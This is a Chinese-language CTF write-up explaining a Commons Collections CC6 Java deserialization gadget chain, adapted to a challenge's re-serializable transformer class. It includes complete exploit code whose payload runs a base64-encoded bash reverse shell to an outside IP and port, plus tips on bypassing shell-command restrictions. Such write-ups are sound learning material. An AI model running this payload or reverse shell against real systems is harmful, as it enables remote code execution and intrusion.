這兩天萌新賽做了一道 java 的 CC 鏈變種 作為遇見的第一 or 二道 java 題 踩了好多坑 寫下來備用
審一下題目的 jar 包 有一個反序列化點 還有一個 transformer 類的子類 應該是仿的 invoketransformer 這個類,cc 鏈的基礎原理就是利用反序列化調用 invoketransformer,通過反射拿到 runtime 類實現 rce
題目給了提示是打 cc6 這條鏈,是修改的 cc1 在高 java 版本無法使用的替代品
cc 鏈可以看這裡
https://www.cnblogs.com/bitterz/p/15035581.html
對於 cc6 可以看看這個博客
https://www.yulate.com/348.html
對於傳統的 cc6 來說 它的利用鏈是以下這樣
java.io.ObjectInputStream.readObject();
java.util.HashSet.readObject();
java.util.HashMap.put();
java.util.HashMap.hash();
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode();
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue();
org.apache.commons.collections.map.LazyMap.get();
org.apache.commons.collections.functors.ChainedTransformer.transform();
org.apache.commons.collections.functors.InvokerTransformer.transform();
java.lang.reflect.Method.invoke();
java.lang.Runtime.exec();
反序列化一個 Hashset 對象,它在 wakeup 時會自動 readobject, 調用其中的 hashmap 的 hash 方法,內部實現是調用其內部對象的 hashcode 方法。在這一步計算 hash 就需要獲取 value,由此觸發了 lazymap 的 get 方法,Lazymap 調用 chainedtransformer 內部的 invoke,通過反射獲取了 runtime 類實現了 rce
但是查看依賴版本 是 cc3.2.2 這個版本已經修了傳統的 cc6 利用,是怎麼修復的呢?
查一下這個版本的 changelog
是把幾個危險的類 ban 掉 禁止序列化造成 RCE
用 jadx 反編譯 jar 包看到源碼,這裡看到題目中給的 eval 類,是仿的 invoketransformer 類
又把 serializable 加了回來 是故意的 這樣就能再利用這個類打 cc6 鏈
基於傳統的 cc6 鏈 payload,抄 + 改了一份 exp
這裡在配置環境踩了一堆坑 就不用寫了 以後也都會了
public class cc {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new eval("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new eval("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new eval("exec", new Class[]{String.class}, new String[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTA5LjE1OC4yMjAvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}"}),
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashSet hashSet = new HashSet(1);
hashSet.add(key);
decorate.remove("key");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
ObjectOutputStream output = new ObjectOutputStream(buffer);
output.writeObject(hashSet);
//base64編碼
String payload = Base64.getEncoder().encodeToString(buffer.toByteArray());
System.out.println(payload);
// decoserize decoserize = new decoserize();
// decoserize.decoserize(payload);
}
}
這裡有兩個大坑
1. 包名,一定要改的和源文件裡的一模一樣,要不然反序列化出來他不認的
2. 彈 shell 傳統的簡單彈法用不了 原理可以看
https://www.cnblogs.com/BOHB-yunying/p/15523680.html
要把經典的語句改成
bash -c {echo,base64過的彈shell語句}|{base64,-d}|{bash,-i}
除此以外就能正常打了 傳 base64 記得 url 編碼